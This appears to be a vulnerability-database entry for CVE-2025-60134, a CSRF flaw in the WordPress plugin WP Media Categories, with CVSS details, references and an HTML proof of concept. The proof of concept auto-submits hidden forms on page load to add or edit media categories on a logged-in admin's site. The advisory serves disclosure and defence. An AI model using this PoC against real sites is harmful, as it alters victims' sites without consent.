CVE-2025-60134

Description

Cross-Site Request Forgery (CSRF) vulnerability in John James Jacoby WP Media Categories wp-media-categories allows Cross Site Request Forgery.This issue affects WP Media Categories: from n/a through <= 2.1.0.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Media Categories <= 2.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-60134 -->
<!-- Target: WordPress site with WP Media Categories plugin <= 2.1.0 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-60134</title>
</head>
<body>
    <h1>CSRF PoC for WP Media Categories</h1>
    <p>This PoC demonstrates the CSRF vulnerability in wp-media-categories plugin.</p>
    
    <!-- Auto-submit form to add media category -->
    <form id="csrfForm" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="add-media-category">
        <input type="hidden" name="category_name" value="MaliciousCategory">
        <input type="hidden" name="category_slug" value="malicious-category">
        <input type="hidden" name="submit" value="Add Category">
    </form>

    <!-- Alternative: Modify existing media category -->
    <form id="csrfFormModify" action="http://target-site.com/wp-admin/admin-post.php" method="POST" style="display:none;">
        <input type="hidden" name="action" value="edit-media-category">
        <input type="hidden" name="category_id" value="1">
        <input type="hidden" name="category_name" value="ModifiedByCSRF">
        <input type="hidden" name="_wpnonce" value=""> <!-- Missing or empty nonce -->
    </form>

    <script>
        // Auto-submit on page load
        document.addEventListener('DOMContentLoaded', function() {
            console.log('CSRF PoC loaded - submitting form...');
            document.getElementById('csrfForm').submit();
            // Or use: document.getElementById('csrfFormModify').submit();
        });
    </script>
    
    <p><strong>Note:</strong> Victim must be logged into WordPress admin panel for attack to succeed.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-60134
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-60134
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-60134/
[4] VulDB https://vuldb.com/cve/CVE-2025-60134
[5] https://patchstack.com/database/Wordpress/Plugin/wp-media-categories/vulnerability/wordpress-wp-media-categories-plugin-2-1-0-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

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